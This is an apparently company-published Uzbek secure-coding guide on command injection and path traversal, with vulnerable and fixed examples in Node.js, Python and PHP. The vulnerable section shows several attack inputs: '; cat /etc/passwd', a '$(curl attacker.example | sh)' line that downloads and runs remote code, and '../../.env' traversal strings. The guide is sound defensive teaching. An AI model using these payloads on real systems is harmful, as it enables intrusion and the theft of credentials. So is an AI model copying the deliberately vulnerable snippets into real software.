Asosiy kontentga o‘tish
Innovialabs

Command injection va path traversal: hujum misollari va himoya

Amaliyot4 daq

Qisqacha

Ikkala hujum ham foydalanuvchi kiritgan ma’lumot shell buyrug‘i yoki fayl yo‘lining bir qismiga aylanganda yuz beradi; himoya — shell chaqirmaslik, argumentlarni massiv bilan berish, faqat ruxsat etilgan qiymatlarni qabul qilish va yakuniy yo‘l asosiy papka ichida qolganini tekshirish.

Qisqa javob

Command injection kod shell buyrug‘ini foydalanuvchi kiritgan ma’lumotdan yig‘ganda yuz beradi: hujumchi ;, &&, | yoki $() orqali o‘z buyrug‘ini qo‘shadi. Path traversal esa kiritilgan qiymat fayl yo‘lining bir qismiga aylanganda paydo bo‘ladi: ../ kabi ketma-ketliklar kerakli papkadan tashqaridagi fayllarni o‘qish yoki qayta yozish imkonini beradi.

Himoya tamoyili umumiy: ma’lumot kod yoki tuzilmaga aylanmasligi kerak. Dasturlarni shell’siz chaqiring, argumentlarni ro‘yxat sifatida bering, faqat ma’lum qiymatlarni qabul qiling va normalizatsiyadan keyin yakuniy yo‘lni tekshiring.

Command injection: zaif shablonlar

Quyidagi uchta misolning barchasida parametr shell talqin qiladigan satrga yopishtiriladi.

// Node.js — zaif
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — zaif
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — zaif
echo shell_exec("ping -c 1 " . $_GET["host"]);

Agar 8.8.8.8; cat /etc/passwd yuborilsa, shell ikkala buyruqni ham bajaradi. $(curl attacker.example | sh) orqali esa veb-server huquqlari bilan ixtiyoriy kodni yuklab olib ishga tushirish mumkin.

Command injection: xavfsiz shablonlar

  1. CLI o‘rniga kutubxona. Rasmni siqish yoki arxiv yig‘ish kerakmi? Nativ kutubxona shell’ni zanjirdan butunlay olib tashlaydi.
  2. Dasturni to‘g‘ridan-to‘g‘ri, shell’siz chaqiring va argumentlarni massiv bilan bering. Shunda shell maxsus belgilari o‘z ma’nosini yo‘qotadi.
  3. Allowlist bo‘yicha tekshiring — host nomi uchun regulyar ifoda, format uchun ro‘yxat, son uchun diapazon.
  4. Argument injection’dan himoyalaning. Shell bo‘lmasa ham --output=/tmp/x qiymati opsiya sifatida o‘qilishi mumkin. Utilita qo‘llab-quvvatlasa, foydalanuvchi qiymatlaridan oldin -- qo‘ying va - bilan boshlanadigan qiymatlarni rad eting.
// Node.js — xavfsiz
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — xavfsiz
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)

PHP’da buyruqni massiv ko‘rinishida qabul qiladigan proc_open dan foydalaning (zamonaviy versiyalarda mavjud) yoki hech bo‘lmaganda har bir argumentni escapeshellarg() bilan o‘rang. Ekranlash — arxitektura emas, zaxira variant: bitta unutilgan chaqiruv teshikni yana ochadi.

Path traversal: zaif shablonlar

// Node.js — zaif
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);

../../.env so‘rovi uploads dan tashqaridagi faylga olib boradi. Xuddi shu xato Python’da open(os.path.join(BASE, name)) va PHP’da file_get_contents("uploads/" . $name) bilan uchraydi. Hujumchilar %2e%2e%2f kabi kodlangan variantlarni, Windows’dagi teskari slashlarni va absolyut yo‘llarni ham sinab ko‘radi: os.path.join("/data", "/etc/passwd") shunchaki /etc/passwd ni qaytaradi.

Path traversal: xavfsiz shablonlar

Ishonchli tekshiruv: avval to‘liq yo‘lni hisoblang, keyin u asosiy papka ichida ekanini tasdiqlang.

// Node.js — xavfsiz
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — xavfsiz
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
    raise PermissionError("invalid path")
// PHP — xavfsiz
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
    http_response_code(400); exit;
}

Bundan ham yaxshisi — foydalanuvchi bergan nomlardan umuman foydalanmaslik. Fayllarni generatsiya qilingan ID (UUID) ostida saqlang, asl nomni esa ma’lumotlar bazasida. Mijoz /files/3f2a… ni so‘raydi, server haqiqiy yo‘lni o‘zi topadi.

Nazorat ro‘yxati

  • Foydalanuvchi ma’lumotlari bilan exec, shell=True, system, shell_exec va teskari qo‘shtirnoqlar ishlatilmaydi.
  • Argumentlar massiv bilan, foydalanuvchi qiymatlaridan oldin --, boshidagi - taqiqlangan.
  • Hostlar, formatlar va fayl kengaytmalari uchun allowlist.
  • Yo‘llar resolve/realpath orqali hisoblanadi va asosiy papka bilan solishtiriladi.
  • Fayllar generatsiya qilingan ID ostida saqlanadi.
  • Ilova minimal huquqli foydalanuvchi nomidan ishlaydi — muvaffaqiyatli hujum kamroq narsaga yetadi.
  • Code review va SAST qoidalari xavfli funksiyalarni avtomatik belgilaydi.

Ko‘p uchraydigan xatolar

  • Belgilarni blocklist qilish (; yoki ../). Kodlash va aylanib o‘tish usullari juda ko‘p — allowlist yutadi.
  • Dekodlashdan oldin tekshirish. Kod haqiqatda ishlatadigan qiymatni — URL-dekodlash va normalizatsiyadan keyin tekshiring.
  • Ajratgichsiz prefiks tekshiruvi. /srv/uploads-old ham /srv/uploads bilan boshlanadi; har doim oxirgi ajratgich bilan solishtiring.
  • Symlink’larni unutish. realpath va Path.resolve() ularni ochadi, oddiy satr normalizatsiyasi esa yo‘q.

Ko‘p beriladigan savollar

Ekranlash funksiyalari yordam beradi, lekin ularni unutish yoki aniq bir shell uchun noto‘g‘ri qo‘llash oson. Dasturni shell’siz, argumentlar massivi bilan chaqirish muammoni ildizidan yo‘q qiladi.

Yana o‘qing

G‘oya yoki vazifangiz bormi? Bizga aytib bering

Ish kuni davomida javob beramiz va yechim taklif qilamiz. Konsultatsiya bepul.